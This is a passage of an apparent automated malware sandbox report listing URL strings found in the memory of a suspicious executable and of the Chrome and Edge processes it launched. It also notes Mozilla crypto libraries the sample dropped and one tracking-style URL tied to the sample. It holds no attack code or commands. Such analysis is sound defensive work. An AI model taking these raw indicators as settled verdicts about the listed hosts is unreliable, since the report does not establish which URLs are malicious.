Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/)
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/3
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/~w
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291136129.00003BD801728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291136129.00003BD801728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291136129.00003BD801728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 00000007.00000002.2405654904.000036F402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000002.00000003.2287737009.00003BD801B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000002.00000003.2287616387.00003BD801B20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2287644030.00003BD801B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2287737009.00003BD801B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000002.00000003.2287616387.00003BD801B20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2287644030.00003BD801B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2287737009.00003BD801B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard;
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000002.00000003.2289114061.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000002.00000003.2198514754.00005A8000878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000002.00000003.2197894076.00005A800071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2287221398.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 00000007.00000002.2405654904.000036F402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2405654904.000036F402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log0.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: msedge.exe, 00000007.00000002.2405654904.000036F402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.2237268616.00003BD8007AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2287542642.00003BD80149C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: https://tidal.com/
